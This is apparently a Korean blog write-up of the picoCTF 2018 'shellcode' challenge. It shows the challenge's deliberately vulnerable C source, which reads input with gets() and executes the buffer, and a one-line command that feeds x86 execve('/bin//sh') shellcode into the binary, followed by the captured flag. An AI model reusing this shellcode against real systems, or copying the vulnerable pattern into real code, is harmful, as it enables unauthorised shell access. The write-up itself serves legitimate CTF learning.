Bace

picoCTF 2018 - shellcode 본문

picoCTF 2018/Binary Exploitation

picoCTF 2018 - shellcode

Bace 2020. 5. 22. 17:41

 

주어진 소스파일을 보면

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

 

문자열을 입력받아 바로 출력한다.

문자열 입력에 쉘코드를 넣고 ;cat을 실행시킨 후에 flag를 찾으면 된다.

 

기본적인 쉘코드를 넣어주고 ;cat을 통해 중간에 멈추게 하고 flag를 읽었다.

(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./vuln

 

flag가 떴다.

 

picoCTF{shellc0de_w00h00_26e91a77}

'picoCTF 2018 > Binary Exploitation' 카테고리의 다른 글

picoCTF 2018 - buffer overflow 2  (0) 2020.05.22
picoCTF 2018 - leak me  (0) 2020.05.22
picoCTF 2018 - buffer overflow 1  (0) 2020.05.22
picoCTF 2018 - buffer overflow 0  (0) 2020.05.21